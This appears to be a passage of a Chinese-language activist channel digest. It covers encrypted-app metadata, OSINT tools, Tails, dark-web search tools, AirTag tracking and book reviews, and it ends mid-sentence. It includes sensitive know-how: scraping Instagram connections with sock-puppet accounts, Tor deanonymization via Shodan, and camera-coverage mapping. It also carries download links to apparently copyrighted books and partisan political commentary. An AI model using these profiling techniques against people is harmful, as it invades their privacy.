该文件的日期为 2021 年 1 月 7 日，是通过非营利组织 Property of the People 提交的 FOIA 请求获得的。

最基本的您应该知道，根据单个加密消息传递应用程序，间谍和警察可以提取不同的元数据，从而揭开最终用户的真实身份。

📌 我们一直在强调这点：大多数人对 “窃听” 这一概念依然有误解，误认为拦截和偷听谈话内容才被称为 “窃听”。其实不然。谈话内容是次要的，如果您与对话使用暗语对话，偷听的人并无法理解其中的意思。而对于监视者来说，真正的 “价值” 在于元数据—— 它暴露了谁

与谁之间的关系的模式。模式是最致命的东西，还记得我们此前演示过的连锅端吗，它主要利用的就是模式：

📢 如果您错过了《警察/间谍如何定位抓捕抗议者：连锅端的标准操作模式》。

而对于加密消息应用来说，它加密是内容，元数据不加密。您需要了解这点。您能做的就是，尽可能搞乱“模式”，包括分身、以及尽可能避免使用基于手机号注册的应用；如非不得已，使用与您的身份无关的手机号也会有所帮助。

以下是 The Record 的解释：

https://therecord.media/fbi-document-shows-what-data-can-be-obtained-from-encrypted-messaging-apps/

补充一些比较实用的开源情报技术书籍——

「图」

1、Cybersecurity Blue Team Toolkit

这是一本为技术人士和非技术专业人士编写的网络安全实用手册。

随着重大数据泄露事件的报道充斥头条新闻，任何组织，无论大小，都不可能再继续忽视网络安全的重要性。然而，关于这个问题的大多数书籍，要么对非技术专业人员来说过于专业，要么对专业人士来说过于笼统。

这本书的作者 Nadean Tanner 拥有从大学教学到为国防部工作的广泛经验，它做到了在实质性和易懂性之间取得了完美的平衡，使其能够对各行各业的IT业或管理职位的人同样有用。

这本指南从简单和战略性的角度审视了网络安全管理和实践中可用的最佳战术和工具。对于任何职业层面，从学生到高管，都是一本有价值的参考书。

2、Human Hacking

这是2021的新书。一位全球安全专家从心理学的角度出发，帮助您掌握社交工程—— 人类黑客的艺术。

侵蚀性的社会习俗、技术和快速的经济变化正在使人类比以往任何时候都更有压力，在社交方面更加尴尬和孤立。我们生活在自己的泡沫中，不愿意与人交流，在与他人交流时感到越来越无力、不安全和忧虑。

作为社交工程领域的先驱和黑客高手，克里斯托弗·哈德纳吉擅长了解恶意攻击者如何利用人类交流的原则，通过操纵和欺骗获取信息和资源。

现在，他告诉您如何利用社交工程作为一种善的力量—— 帮助您重新获得自信和控制。

这本新书中提供的工具将帮助您与陌生人建立融洽的关系，利用身体语言和语言暗示来发挥您的优势，引导对话和影响他人的决定，并保护自己免受操纵者的影响。

最终，您能学会对如何表现自己有更多的自我意识，并能够利用它来改善您的生活。

这本书包括课程和互动 “任务”—— 遍布全书的练习，以帮助您学习这些技能，练习它们，并掌握它们。

3、Operator Handbook: Red Team + OSINT + Blue Team Reference

这本手册采用了三种学科（红队、开源情报、蓝队），并将它们合并为一个完整的参考指南。

这本书包含了100多个单独的参考资料，涉及从业人员最常使用的许多工具和技术。包括的内容可以同时帮助最老练的网络安全高手或刚刚在职业领域起步的人。

将所有学科合并成一本书的目的是为了消除一个 “团队” 内只存在某些知识的人为障碍。现实情况是，今天复杂的数字环境要求在所有领域都有一定程度的知识。所有网络安全从业者都是操作者。蓝队应该观察和了解红队的战术，红队应该不断地推动与蓝队的合作，而开源情报应该不断地努力剥离分散在不同数据源中的证据。

每个参考资料都是按字母顺序排列的。这不仅消除了那些团队分离的概念，而且还有助于加快查找。另外，几乎每个主题都从 “如何利用X” 和 “如何防御X” 的双方面角度进行了阐述。涵盖的工具和主题包括：云服务、操作系统、移动、OSINT、端口、取证、恶意软件资

源、防御者工具、攻击者工具、OSINT工具、以及其他各种支持工具（Vim、iptables、nftables 等…）。

4、Practical cyber intelligence how action-based intelligence can be an effective response to incidents

这本书针对事件管理者、恶意软件分析师、逆向工程师、数字取证专家和情报分析师；最好有安全操作、事件响应或调查方面的经验或知识，以便您能够充分利用所介绍的主题。

您将学习到的内容包括：

了解观察-调整-决策-行动（OODA）循环及其对安全的适用性；

了解主动防御概念的战术观点，及其在当今威胁环境中的应用；

熟悉F3EAD流程的操作观点，以推动组织内的决策；

建立一个框架和能力成熟度模型，整合信息安全组织中关键功能的输入和输出；等等

此外还包括如何去了解威胁模型和情报产品/框架，并将其应用于现实生活中的场景。在这本书结束时，您将能够根据网络防御情报的操作和战术/战略领域在您的组织中启动一个情报项目。

下载：https://t.me/iyouport/9048

下载：https://www.patreon.com/posts/bu-chong-yi-xie-57260520

《The Drone Databook》

「图」

关于无人机的知识——

「图」

无人机曾经是一种新鲜事物，而现在已经成为标准的军事装备，产生了一个由部队、基地和试验场组成的全球网络。

乌克兰、叙利亚和也门的战场，以及波斯湾和东中国海等地缘政治冲突地区，越来越多地挤满了不同大小和复杂程度的无人机。

无论它们是用于情报收集、空中打击、炮火观测还是电子战，无人机都是现代战争特征变化的主要促成因素。

该手册是一份关于军用无人机能力的深入研究。它包括七个地区（亚洲和大洋洲、欧亚大陆、欧洲、拉丁美洲、中东和北非、北美和撒哈拉以南地区）101个国家的概况，以及两个附录，其中涉及全球的军用无人机基础设施和这些国家目前使用的170多架无人机的技术规格。

该数据手册从六个方面评估了每个国家的军用无人机能力：库存和积极采购计划、人员和培训计划、基础设施、操作经验、飞机研究和开发计划，以及出口。

如果您的观察研究和爱好中包括地缘政治和战争，这份手册中的知识将非常有用。

下载：https://t.me/iyouport/9055

下载：https://www.patreon.com/posts/guan-yu-wu-ren-57302715

TailsOS：匿名反取证Linux＋持久性（加密）

「图」

TailsOS是反取证Linux：提供元数据清理工具，并完全在内存中运行—— 它不需要硬盘，这为记者、反抗者和世界上危险地区的其他用户提供了反取证优势。

【更多相关安全性教程见我们的《变得难以被追踪的简单方法》系列；在列表-5中汇总

https://start.me/p/1kod2L/iyp-direct-action5

】

Tails的伟大之处在于，你可以把它带到任何地方，借用另一台电脑，并把整个系统放在一个U盘上。本视频将详细研究TailsOS。

看视频：https://t.me/iyouport/9057

Sterra—社交媒体情报工具

「图」

Sterra 似乎是一个能取代 Instagram Helper 的有用工具。由于这个扩展工具强迫您创建一个账户，很多人开源情报调查者都放弃了。现在 Sterra 这个 python 脚本填补了这一空白，使您能够下载追随者和关注者账户、互粉账户和简介中的所有信息。

请注意，非常建议您在使用这类工具时运行袜子木偶账户，因为 Instagram 对数据抓取的限制相当严格。

Link: https://github.com/novitae/sterraxcyl

在开源情报调查中，街景图是非常重要的工具之一，它可以帮助您更好地定位追踪、验证一个信息的描述是否真实等等。谷歌街景很好用，但是，依旧有很多地区是谷歌无法覆盖的，当您的调查线索被指向这样的地方时，您需要有替代工具。

这里是一个视频，很好地介绍了街景工具的使用方法，也许会对您有些帮助：

1. OSINT #tools #tips

太阳光线造成的物体阴影对确认事发时间很重要，调查者经常使用一些工具以查看阴影如何在特定时间和日期落在特定位置。

Shademap 就是这样的工具，它完全在浏览器中运行，并使用 Mapbox 的 3D 数据集作为源。您可以试试看：https://shademap.app/

📌 关于阴影的使用方法，可以参见下面的文章：

- 《如何通过阴影分析检测社交媒体上被篡改的图像》
- 《使用太阳和阴影进行定位追踪的技巧》
- 《让阴影说话：开源调查小游戏》

1. OSINT #tools

IPVM 是一个独立的视频监控平台，他们的网站上提供了大量的信息。其中有一个很棒的工具，即 监控摄像机计算器，可以在其中标注摄像机，它们的角度和分辨率，以帮您呈现一个地区的情况。这对行动部署来说很有价值，您懂的。

它还有一个包含摄像机的大型数据库，使您能够使用预先配置的信息，对可能捕获的图像的质量有一个很好的了解。

https://calculator.ipvm.com/

我们只让他们看到我们的蒙面，

我们只让他们知道我们的匿名。

为了获得未来，我们今天冒险，

为了活着，我们去赴死。

兄弟，

我们生于黑夜，

我们住在夜色中，

我们会在漆黑的夜幕中死去；

但明天，光明会为他人升起。

致所有今晚哭泣的人们，

对于那些被禁止的日子，

光明会为所有人升起。

——指挥官马库斯

مان را پوشاندیم‌برای آنکه ما را ببینند، چهره

برای آنکه به ما نامی دهند، گمنامی را برگزیدیم

برای کسب آینده، امروزمان را به مخاطره انداختیم

و برای زیستن، مردیم.

برادران

ایم‌ما از شب به دنیا آمده

کنیم‌در شب زندگی می

و در شب خواهیم مرد

اما فردا، روشنایی برای دیگران طلوع خواهد کرد

گریندبرای تمام کسانی که امروز شب را می

اندبرای آنهایی که روز را بر آنها ممنوع کرده

روشنایی برای همه طلوع خواهد کرد

فرمانده مارکوس

1. Iran #Anarchism #Resistance

汽车的新威胁：苹果AirTag偷车行动——

「图」

加拿大警察已经记录了至少五起已知的案件，犯罪嫌疑人将微小的苹果蓝牙信标追踪装置安装在昂贵汽车的低能见度部件外面，以追踪受害者的汽车在城市中的移动。

苹果AirTag作为追踪器，帮助劫持者监视目标汽车的路线，找出停车的大致时间和车主的居住地。

警方现在敦促所有驾驶者经常检查自己的汽车是否有隐藏的跟踪器；以及：

如果可能，请将车辆停放在上锁的车库中；

使用方向盘锁。它还将起到明显的威慑作用；

在数据端口上安装锁。这个简单的设备可以在线购买，为阻止窃贼访问计算机端口以重新编程车辆的钥匙；

考虑购买高质量的视频监控系统。确保摄像机正确放置并正常运行，以便日夜使用。熟悉系统，以便轻松查看和访问。

如您所知，蓝牙信标技术也早已被作为警察追捕抗议者的工具之一。更多见：《警察如何利用抗议者的手机追踪每个人》。

《Neoliberalism and Cyberpunk Science Fiction: Living on the Edge of Burnout》

「图」

生活在崩溃的边缘——

「图」

标题中 “Burnout” 有点类似于中文里将 “抑郁” 作为形容词使用时所指的状态，但也许比这更严重； 就像是处于持续的和强大的压力之下，沮丧、无助、疲惫、绝望 …… 混杂在一起。然而，这可能不是病理学问题，不是个人化的解决方案能处理的状况。

生物政治学研究生物学上的人与其政治行为的关系，是政治学的一个分支学科。其所采用的生物学上的学科包括生理学、医学、生物化学、神经解剖学、营养学、公共卫生学等。

生物政治学的基本观点认为人的行为除了受到理性的支配，还受到各种生物因素的影响。人的遗传差异和生物本能都会影响到人的政治行为。

在这本新书中，卡罗琳·阿尔芬通过赛博朋克科幻小说的视角对生物政治学进行了原创性的探索。

该书由五章组成，以四个中心主题为指导：生物政治学、激化、复原力和加速主义。（请注意，这里的加速主义指的是以德勒兹和伽塔利的理论为起点的加速主义哲学，旨在强化加速去领域化的力量，以克服阻碍深远社会变革可能性的对抗趋势。）

第一章考察了赛博朋克作为科幻小说流派的政治可能性，并介绍了一种新自由主义的主体—— 自我监控的 “机械人”。这些人将健身/健康追踪设备和应用加入自己的身体，以 “自我培养”。在这里，阿尔芬提出了具体的例子，说明健身追踪器如何在自我培养的幌子下成为新自由主义政府的一种战略。

从福柯的生物政治学转向激化和复原力的主题，阿尔芬主要从威廉·吉布森的《神经漫游者》、尼尔·斯蒂芬森的《雪崩》、理查德·K·摩根的《改变的碳》以及电影《银翼杀手》中汲取灵感，对新自由主义复原力的概念提出了质疑。

在她与生物黑客的讨论中，将生物政治学、激化、复原力这些主题与加速主义联系起来。在这里她认为，生物黑客在某种程度上是自我监控的半机械人的强化，而加速主义最终是另一种形式的复原力。

这本书对于那些对数字安全性研究、政治社会学、生物政治学、国际关系批判理论、政治理论、文化研究和文学理论感兴趣的人来说是一个宝贵的资源。

这本书处于国际政治理论的前沿。它恰当地讲述了新自由主义如何产生社会、技术和具身存在的新形式的故事。它促使读者就新自由主义通过各种机制使自身延续的被认为理所当然的方式提出了质疑。

这是一本令人印象深刻的书，任何有兴趣了解现代城市景观政治的人都应该阅读。

下载：https://t.me/iyouport/9084

下载：https://www.patreon.com/posts/59816014

1. Security Docker网络教程 所有网络类型的解释 关于您应该如何和何时使用不同的网络类型，以及您需要考虑的问题。 看视频：*https://t.me/iyouport/9087* 在过去的几周里，一个新的网络钓鱼活动已经开始针对使用二维码的电子银行用户。 这些网络钓鱼电子邮件经过精心制作，带有银行徽标、结构良好的内容和通常一致的风格，非常难以辨人。攻击者使用二维码而不是按键将受害者重定向到钓鱼站点。 此事再次提醒了 *QR* 码普及的危险性。尤其是不太可能受到安全控制保护的移动用户，一定要当心。 *https://cofense.com/blog/german-users-targeted-in-digital-bank-heist-phishing-campaigns/* *!!!**Firefox vs Brave***：哪个更安全？ 「图」 *Firefox* 与 *Brave* 的对比，究竟哪个是最私密的？或者，两个都不是？ 这个视频旨在尽可能客观地了解每个浏览器在您的隐私和安全方面的优势。您应该按照自己的具体的威胁模型进行选择。 视频：*https://t.me/iyouport/9108* 这里有一个很酷的网站，*"AllYouCanRead"*。它收集了大量的报纸、杂志和其他网站的链接，如果您需要在外国找到某种资源，这可能是个好地方。 *Link: https://www.allyoucanread.com/* *!!!*搜索暗网的工具 ***#OSINT #tools*** —— 「图」 ├*torproject (Get TOR)* □*geti2p (Get I2P)* □*zeronet (Get Zeronet)* □*freenet (Get Freenet)* □*tornodes (IP Check)* □*exonerator (IP Check)* □*darktracer (IP Check)* □*oniontree (TOR Services)* □*iaca (Search Framework)* □*Katana (Search*

Engine) OnionSearch (Search Engine) Darkdump (Search Engine) Ahmia (Search Engine) ＋web DarkSearch (Search Engine) ＋web Hunchly (Get Links) thedevilseye (Get Links) H-Indexer (Get Links) Onionscan (Scan Links) Onioff (Scan Links) Onion-nmap (Scan Links) TorBot (Crawl Data) TorCrawl (Crawl Data) VigilantOnion (Crawl Data) OnionIngestor (Crawl Data) DeepDarkCTI (Threat Intelligence) tor66 (New Sites) freshoni (New Sites) darkowl (Intelligence Service) cobwebs (Intelligence Service) falcon-x (Intelligence Service) darktracer (Intelligence Service) !!!备份工具 —— 「图」 Restic是一个备份程序，可以备份您的文件。 * 从 Linux, BSD, Mac 和 Windows 到许多不同的存储类型，包括自托管和在线服务 * 很简单，无需服务器或复杂设置即可运行 * 有效，只传输您所备份的文件中实际更改的部分 * 安全，在整个过程的每个部分都仔细使用加密 * 可验证性，使您能够确保在需要时可以恢复您的文件 * 免费， restic是完全免费使用的，并且完全开源 https://github.com/restic/restic 这个视频介绍了如何用 Shodan 对Tor服务器进行去匿名化的方法。 这些都是一些基本的技术，如果Tor网站的所有者没有正确配置他们的服务器，您就可能找到真正的IP地址。 !!!「冷战升级，中国信息战战术出现变化」 —— 转帖（经轻微编辑）「图」 多年前我强调过这件事，关于中俄信息战的典型区别，即：俄罗斯是进攻派，他们会利用一切可以攻击地缘政治对手的线索；某国是防守派，最经常采取的是类似 “哎呀它打我” 的姿态。 这里面最典型的案例就是 Julian Assange 的案子，一直以来中国从来没有利用过这个案子，他们知道真正的透明度革命对所有统治阶级致命。 当然，包括北京政权自己。 然而，这件事现在有了一些变化。 见下图，这是外宣最新的发布视频。 这种利用可以说前所未有。 见下图，截取自该视频，这是一个典型的翻译错误—— 误导性的翻译。这里的 “government” 实际上是指所有政府，即 所有统治阶级，包括并不限于美国政府，当然也包括中国政府。 就如他们对斯诺登的书的错误翻译，还有Ho的书 —— 将其中所有 “中国资本主义” 都改成了 “特色社会主义”。 即 有意的误导。 必需首先强调的是，Julian 的全球声援运动囊括几十个国家，它是无中心的真正的自主运动，IYP的年终礼也分析到了这点：[[「图」 iyouport 好奇心比聪明更重要：与IYP对话2021 – 什么是民主？如何战斗？ 在人们纷纷嘲笑中文社交网络生态 “有多么愚蠢” 的同时，IYP不断接收到来自中国的读者的私信和邮件，有几百个源头，其中很多读者表达了清晰的认知和对我们提供的内容的深刻理解 —— 有些时候，比我

们在制作内容的初始阶段所预期的理解程度还要高出很多。令我们惊喜和激动。 我曾经鼓励一些私信*IYP*的读者，我说：您说的非常好，您可以发布推文或撰稿以讲述这些道理，帮助更多人受益。然而他们很抱歉地说：“没用的，没有人愿意听这些，网上都是选边站的人，如果你不站在这一边，他们就会把你推向另一边 …… 所有人都觉得自己最聪明，自己的结论才是真理。没有对话，只有互相批驳”。… *Read more 3 years ago · 18 likes · 5 comments · iyouport |https://iyouport.substack.com/p/iyp2021-?utm_source=substack&utm_campaign=post_embed&utm_mediu*
该运动的原则是不区分意识形态，任何对新闻自由、对人权、对民主抱有肯定立场的人，都可以加入，就算是普通的同情者也是同盟。 然而这给了利用者一个机会。 其次必须说，必需悲哀地对中国人说：你们 “没有人”（见下图）。 想象一下，如果你们加入了这场运动，如果你们有强大的独立媒体，*Julian* 的家人就不需要借助外宣。 某国人一多半是北京的门徒，一少半是华盛顿的门徒。门徒不是 *“people”*，门徒是奴隶。这是高堡奇人的魔咒。 奴隶不是革命者，而是革命旨在拯救的对象。 上述并非特例。如您所知，国际左翼都是反冷战的，见下图 ，这是一个著名的反冷战组织最近召开的跨国联合会议的嘉宾名单，你可以看到，与会者都是各国的左翼名人，是革命者，但唯独中国的嘉宾—— 来自外交部直属机构。 如果中国有真正的反抗者呢？何须如此？ 【注：由于绝大多数中国异议人士只是遵从于这个或那个政权，没有真正的反抗者，对于上述这样的联盟会议来说，都不属于合理的邀请对象。 】 还是那句老话： 强烈建议您首先考虑自己的利益，而不是民族国家的利益，不是政权的利益，不是富人的利益； 请首先考虑真相，而不是意识形态队形，不是您自己的信仰信念，不是您的圈子凝聚力**……** 推荐阅读这份年终礼，比我能说的透彻多了：《什么是民主？如何战斗？》。 *!!!*建立一个工人合作社 —— 「图」 如果你能建立自己的民主工作场所，为什么还要忍受老板？ 掌控我们自己的生活是与世界面临的大规模不公正和生态破坏作斗争的第一步。 大公司和不负责任的政府现在统治着地球，但它不一定必须这样。工人合作社给了我们一个机会来改变事物的一个虽小但非常重要的部分。它们是获得对我们的工作方式以及我们的工作对他人和环境的影响的控制的一种方式。 工人合作社是合作社大家庭的一部分—— 为了成员和更广泛的社区的利益而建立的民主的、成员所有的企业。在工人合作组织中，只有为该组织工作的人可以成为成员：没有老板或股东，只有工人有发言权。所有成员在经营企业方面都有平等的发言

权，包括薪酬和工作条件。 创办工人合作社是令人兴奋和有益的，但也充满了挑战。这就像建立任何其他企业一样，不同的只是你们是集体进行的。不要低估集体工作和建立一个企业所需要的大量时间、承诺和学习。 来自英国工人阶级反抗组织的这份文档中列举的步骤希望能给您一个指南，从成立到运行。 #直接行动 #DirectAction #Labour #resistance 下载：https://t.me/iyouport/9113 下载：https://www.patreon.com/posts/jian-li-yi-ge-he-58089631 !!!蔓延三部曲—— 「图」 赛博朋克文化最重要的作品之一，也是科幻经典，威廉·吉布森的《蔓延》三部曲： 《神经漫游者》（Neuromancer）： 《零伯爵》（Count Zero）： 《重启蒙娜丽莎》（Mona Lisa Overdrive) 下载：https://t.me/iyouport/9114 下载：https://www.patreon.com/posts/man-yan-san-bu-58679585 !!!《***The Dawn of Everything: A New History of Humanity***》 「图」 !!!人类解放的新可能性—— 「图」 长期以来，我们发现中国朋友（尤其是期待变革的人们）的思考方式中所具有的主要问题之一就是，非常保守和局限性；要么只会依照历史“规律”预想未来、要么高度模仿，局限在统治阶级划定的框架内，甚至陷入“别人家的孩子”逻辑。 这是自我封闭的，被动的，也是很容易被利用的。于是，它是危险的。 对此，这本书非常重要。 它是对人类历史的全新理解，它旨在打开您的思路，它将挑战您对社会演变的最基本假设 —— 从农业和城市的发展到国家、民主和不平等的起源 —— 它揭示了人类解放的新可能性。 几代人以来，我们遥远的祖先一直被视为原始的和天真的，要么是自由和平等的无辜者，要么是暴徒和好战者。我们通常被告知，“文明”只能通过牺牲这些原始的自由来实现，或者通过驯服人类更卑微的本能来实现。格雷伯和温格罗展示了这种理论是如何在18世纪首次出现的，作为对原住民观察家和知识分子对欧洲社会提出的有力批评的保守反应。重新审视这一遭遇对我们今天如何理解人类历史，包括农耕、财产、城市、民主、奴隶制、和文明本身的起源，有着惊人的影响。 根据考古学和人类学的开创性研究，作者展示了一旦您学会抛开概念的桎梏，感知真实存在的东西，历史将变得更加有趣。如果人类在进化过程中95%的时间并不是在小规模的狩猎采集者中度过的，那么他们在那些时间里都在做什么？如果农业和城市并不意味着陷入等级制度和统治，那么它们导致了什么样的社会和经济组织？答案往往是出乎意料的，并表明，人类历史的进程可能不那么一成不变，相反，将比我们倾向于假设的那种规律更充满了好玩的、有希望的可能性。 《万物的黎明》从根本上改变了我们对人类历史的理解，并提供了一条通往想象

新的自由形式和新的社会组织方式的道路。 这是一本具有强大的知识范围的巨著，由珍贵的好奇心、道德远见和对直接行动的力量的信念所激发。 希望您也能从中获益。 下载：*https://t.me/iyouport/9120* 下载：*https://www.patreon.com/posts/ren-lei-jie-fang-58648219* !!!***Yggdrasil***：端到端加密的***IPv6***网络 「图」 *Yggdrasil* 是一个完全端到端加密的*IPv6*网络的早期实现。它是轻量级的，自组织的，支持多种平台，并允许几乎所有支持*IPv6*的应用程序与其他 *Yggdrasil* 节点安全通信。 *Yggdrasil* 并不要求您必需有 *IPv6* 互联网连接—— 它也可以通过 *IPv4* 工作。 📡 *Yggdrasil* 可以在很多平台上运行，包括 *Linux*、*macOS*、*Ubiquiti EdgeRouter*、*VyOS*、*Windows*、*FreeBSD*、*OpenBSD* 和 *OpenWrt*。 在这里了解更多信息：*https://github.com/yggdrasil-network/yggdrasil-go https://yggdrasil-network.github.io/* !!!《***Encryption For Organizations And Individuals: Basics Of Contemporary And Quantum Cryptography***》 「图」 !!!从当下的密码学到量子密码学—— 「图」 密码学和加密不仅仅是极客和间谍的专利，它们也是如今所有人日常生活的一部分。这本新书向您介绍了数字密码学的基础知识，并涵盖了组织在抵御数据盗窃和窃听者时必须实施的做法。 您将了解到数字加密的概念，并研究关键的数字加密算法及其各种应用。从组织的角度来衡量密码学，您将深入了解可能发生在您的系统中的常见攻击，并了解如何对付它们。 接着是量子计算，您将发现它与目前的计算范式有什么不同，并了解它在未来的潜力。在理清基础知识后，您将仔细研究量子计算机在实践中如何工作。将重点转移到量子密码学，您将了解到更多关于量子密钥分发（*QKD*）的知识、以及它与当今的加密方法有何不同。 您还将考虑目前*QKD*的实现，包括 *SwissQuantum* 的分发系统和*DARPA*量子网络提供的*QKD*分发网络。最终，您将学习到在即将到来的量子时代如何防御密码攻击的手段，如利用零知识证明（*ZKP*）系统。 通过这本书，您将加深对密码学概念的了解，并被引入到量子密码学的新模式中。 如果您或您的组织将隐私作为首要任务，这本书应该会给您很多的启示。 下载：*https://t.me/iyouport/9124* 下载；*https://www.patreon.com/posts/cong-dang-xia-de-58763070* !!!纪录片：*Women Know Cyber* 「图」 这部纪录片介绍了来自全世界各个国家的女性网络安全捍卫者，她们分享自己的故事，努力招募更多的女性网络安全斗士加入这一联盟。 *#Documentary #cybersecurity* !!!基础知识系列丛书—— 如果您准备让您的孩子接受在家教育，这些书籍也许对您有所帮助 「图」 在今天这个信息即时满足的时代，随处都可获得意见、

合理化建议和肤浅的描述。这反而导致人们更加难以获得的是基础性的知识，这些知识应当为我们对世界的原则性理解提供依据。 麻省理工学院出版社的《基本知识》系列图书满足了这一需求。这套丛书就当前人们感兴趣的话题提供了易懂、简明、制作精美的书籍。领先的思想家撰写了这套丛书，专家们对从文化和历史到科学和技术的各种主题进行了概述。 这些书卷为读者提供了一个接触复杂思想的切入点，不论您是在自主学习，还是准备为您的孩子接受在家教育做好准备，相信这些基础知识都能够远超过互联网内容的价值。 以下是我们选择的*10*本。 ***1***、批判性思维 批判性思维的概念是如何出现的？它是如何被定义的？如何教授批判性思维的技能？ 批判性思维经常被认为是二十一世纪的一项基本技能，是在学校和工作中取得成功的关键。鉴于人们倾向于相信虚假消息，得出不正确的结论，并基于情感而非理性做出决定，甚至可以说批判性思维对民主社会的生存至关重要。但是，究竟什么是批判性思维？ 在这本书中，乔纳森·哈伯解释了批判性思维的概念是如何出现的，它是如何被定义的，以及如何教授和评估批判性思维技能。哈伯描述了该术语在哲学、心理学和科学等学科中的起源。他研究了批判性思维的组成部分，包括结构化思维、语言技能、背景知识和信息素养，以及诸如智力谦逊、同情心和开放思想等必要的智力特征。他讨论了研究如何定义批判性思维，几个世纪以来如何教授批判性思维的要素，以及教育者现在如何教授批判性思维技能。 哈伯认为，今天最重要的批判性思维问题是，没有足够的人在这方面做得足够好。幸运的是，批判性思维是可以被教授、实践和评估的。这本书为教师、学生和各地有抱负的批判性思维人士提供了指南，包括为教育领导者和政策制定者提供建议，使批判性思维的教学和学习成为教育优先事项和实际现实。 ***2***、行为洞察 这是一本行为洞察力方法的权威介绍，它将有关人类行为的证据应用于实际问题。我们的行为受到我们意识之外的因素的强烈影响，尽管我们往往低估了行为在“下意识”方面的力量。因此，政府制定了无效的政策，企业创造了糟糕的产品，而个人则制定了不切实际的计划。 相比之下，行为洞察方法将关于人类实际行为的证据——而不是关于它的假设——应用于实际问题。 这本书由该领域的两位顶尖专家撰写，对行为洞察进行了易懂的介绍，描述了核心特征、起源和实际案例。 自*2010*年以来，这些洞察力为解决社会所面临的一些最大挑战开辟了新的途径，在此过程中改变了政府、企业和非营利组织的工作方式。这本书展示了该方法是如何立足于对实际问题的关注，利用有关人类行为的证据来解决这些问题，并通过实验来评估解决方案的影响。 这本

书概述了该方法在心理学和行为经济学中的起源，它如何在早期被英国的先驱 *“nudge unit”* 采用，以及它最近向新领域的扩展。该书还提供了来自不同政策领域的例子，以及关于如何运行一个行为洞察项目的指导。最后，这本书概述了该方法的局限性和道德含义，以及这个快速发展的领域的未来。 ***3***、犬儒主义 每个人都是愤青，但很少有人会承认这一点。今天的愤世嫉俗者半心半意地为自己开脱—— “我讨厌成为一个愤世嫉俗者，但是 ….”—— 然后再发表他们的声明。狭隘的机会主义，总是在取巧，当代犬儒主义没有任何积极贡献。然而，古希腊人的犬儒主义是非常不同的。它大胆而无耻，致力于改变文明所依赖的价值观。在这本书中安斯加·艾伦描绘了犬儒主义的漫长历史，从公元前四世纪希腊犬儒的 “无畏言论” 到当代犬儒如何缺乏社会和政治信念。 艾伦将古代犬儒主义描述为一种即兴的哲学和生活方式，使同时代的人感到羞耻，使他们的文化承诺受到嘲笑。他记录了斯多葛派随后对犬儒主义的 “净化”；文艺复兴和启蒙运动对犬儒主义的挪用；以及从犬儒主义（哲学）到犬儒主义（现代态度）的过渡，从其左派、自由派和保守派批评者的角度探讨了当代犬儒主义。 最后，他考虑了激进的犬儒主义的可能性，承认并肯定了它对当代社会构成的危险。 ***4***、解构主义 对一个经常被认为是不可能的深奥概念的简单易懂的介绍，展示了它在二十一世纪作为概念工具的力量。这本书为一个经常被认为是困难和深奥的话题提供了清晰而简明的介绍：解构主义。大卫·贡克尔梳理了解构主义的概念、术语和实践，不是为了捍卫学术正统，也不是为了传播雅克·德里达的思想—— 这个新词的创造者和概念的始祖—— 而是，为了给读者提供一个*21*世纪的强大概念工具。 贡克尔解释说，解构主义并不是简单的建构的反面—— 不是挂在你衣柜里的 “解构主义” 夹克，严格来说，这不是准确的命名—— 它也不是破坏的同义词。它是一种超越建设/破坏二分法以及所有其他概念二分法和逻辑对立的思考方式。 在描述了解构主义不是什么、并从德里达那里发展出一个抽象的、模式化的特征之后，贡克尔提供了解构主义的例子，包括逻辑中心主义（语言/写作二分法）和虚在性（真实/外观的统治性哲学二元论），重混（原始/复制的区别），以及后人类的机械人（人/机器的概念配对）。最后，他讨论了解构的代价和好处，考虑了解构的许多优势，并确定了潜在的问题，包括欧洲中心主义、相对主义、传达概念的困难，以及重新挪用。 ***5***、自我跟踪 人们一直在跟踪。在*18*世纪，本杰明·富兰克林（*Benjamin Franklin*）将花费的时间和辜负的美德记录在图表中。今天，人们使用技术来进行自我跟踪：睡眠时间、行走的步数、消耗的卡路里、服用的

药物 …… 2014年，9千万个可穿戴传感器被购买，以收集有关生活的数据。这本书研究了人们如何记录、分析和反思这些数据，关注他们使用的工具和他们成为其中一部分的社区。 吉娜·内夫和道恩·纳福斯描述了当人们把自己的日常经历—— 特别是与健康有关的经历—— 变成数据时会发生什么，并介绍了使用这些技术的基本想法和关键挑战。 这本书将自我跟踪视为一种社会和文化现象，不仅描述了将数据作为一种自我的镜子的现象，还描述了这如何使人们与他人产生联系并向他人学习。 它考虑了什么是利害关系：谁想要我们的数据以及为什么；严肃的自我跟踪爱好者的做法；商业自我跟踪技术的设计；以及自我跟踪如何能够填补医疗保健系统的空白。 今天，已经没有人能够过上完全不被追踪的生活。内夫和纳福斯向我们展示了如何以一种赋予权力和教育的方式使用数据。 6、慕课 这里是你一直想知道的关于慕课的一切：对大规模开放在线课程的描述，以及它们对高等教育的未来可能意味着什么。 纽约时报宣布2012年为“慕课年”，因为数百万学生报名参加大规模开放式在线课程（称为MOOCs），数百万投资资金流向制造这些课程的公司，媒体宣布慕课是高等教育中震撼性的游戏规则改变者。 在随后不可避免的反弹中，批评者强调了慕课的高辍学率、赚回初始投资的低机会，以及任何震撼人心的游戏变革都有可能使事情变得更糟而不是更好。 这本书对慕课进行了阐述，避免了炒作和末日论的出现。相反，它对一个罕见的现象提供了一个引人入胜的、直截了当的解释：一个教育创新，在以互联网创业公司的速度迅猛发展的同时，也抓住了公众的想象力。 这本书解释了慕课的起源，它们包括什么，围绕它们的争议，以及它们在教育中可能的未来作用。根据慕课产生的实验文化提出了慕课的新定义，并加入了大多数慕课讨论中缺少的学生视角。这本书独特的“自由度”实验为其讨论提供了参考—— 作者曾试图在一年内只用慕课和其他形式的自由教育来学习相当于四年的文科学位。 作者敦促我们避免因为慕课不能解决所有教育挑战而认为它们不值得追求的谬论，他帮助我们理解慕课—— 尽管有其局限性—— 仍能为世界提供什么。这本书是任何试图理清慕课辩论中相互竞争的主张、愿景和指责的人的必读书。 7、身心问题 从笛卡尔到克里普克的哲学家们一直在与现代和当代哲学的耀眼奖项作斗争：身心问题。心物二元论的根本论据是指人是由“心灵”和“肉体”两部分所组成，与唯物主义强调“一个人的肉体就是它的全部”这种论据相对立。在过去，哲学家一直都认为不能验证的思维试验。但随着复制人类的可能性出现，使得这个实验变得可能。 在这本书中，哲学家乔纳森·韦斯特法尔详细研究了心身问题，阐述了过

